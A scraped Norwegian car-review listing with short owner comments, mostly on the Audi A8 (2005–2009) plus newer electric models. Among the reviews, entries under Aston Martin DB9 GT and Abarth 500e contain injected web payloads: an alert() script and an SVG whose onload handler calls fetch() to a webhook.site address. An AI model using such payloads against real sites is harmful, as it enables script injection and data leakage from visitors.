Vurdert av Marco
Audi A8 (2009)
Totalt sett; Veldig drftsikker bil. Fantastisk kjørekomfort,God plass innvendig/koffert.Motor(4.2) i særklasse.Kraft i overflod.Fantastisk gearkasse,Quattro,adaptiv luftfjæring og aluminium chassis
Audi A8 (2008)
Bil gått 160 000km, skiftet manifoil/whirlflaps 2 ganger, kr 12-18000 pr gang . Ellers sprikk i- og vann i baklykter som drar ned. kr16000 å skifte alle 4+ arbeidspenger. Kontaktfeil i den adaptive
Audi A8 (2008)
Er nok den beste bilen som kan kjøpes for penger, min andre A8, å fra nå blir det ikke annet. Bare nyere etterhvert.
Audi A8 (2008)
Storfornøyd så langt i bileie
Audi A8 (2008)
Disse blir etterhvert sjeldne. 4.2 TDI er et kraftverk som lett kan tunes. Komfort i særklasse.
Audi A8 (2008)
A8 L 4.2tdi meget fornøyd med bilen. Har ikke hadd noen problem med bilen i mitt eie i 7 år. alt virker og ingen skeive lister eller noe på den . Service,bremser og dekk +diesel . Synd ny a8 komme
Audi A8 (2008)
flott bil som er nydelig å kjøre.god plass til både folk og bagasje.rimelig å kjøre tross den store motoren,under 0,7 på langkjøring å 0,8-0,9 på småkjring.eneste minus så langt er litt då
Audi A8 (2008)
En fantastisk bil, bedre sammenskrudd enn det meste, fullstappet med utstyr.
Audi A8 (2007)
Relativt rimelige driftskostnader og bedagelig bil å kjøre. Alt tenkelig av utstyr, bla adaptiv cruisecontrol gjør at det er både behageligt og trygt å kjøre. Velger parkeringsplass med litt om
Audi A8 (2006)
Aluminium gjør at man slipper å tenkte på rust. Det gjør også at en såpass stor bil ikke veier over 2000 kg.
Audi A8 (2006)
Fantastisk bil.
Audi A8 (2006)
Fantastisk bil, sport og komfort pakka inn i tidsløs design.
Audi A8 (2005)
Forventet en helt annen kvalitet enn det som Audi leverte . Kjøpte bilen ny i Oslo og jeg er eneste eier.
Audi A8 (2005)
Meget fornøyd.
Audi A8 (2005)
Dette er bilen for de som ser etter en komfortabel kraftpakke! Til langturer er dette bilen som ikke sliter deg ut, selv om turen er 100mil. Krefter som er tilstede ved alle turtall og situasjoner. Fo
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km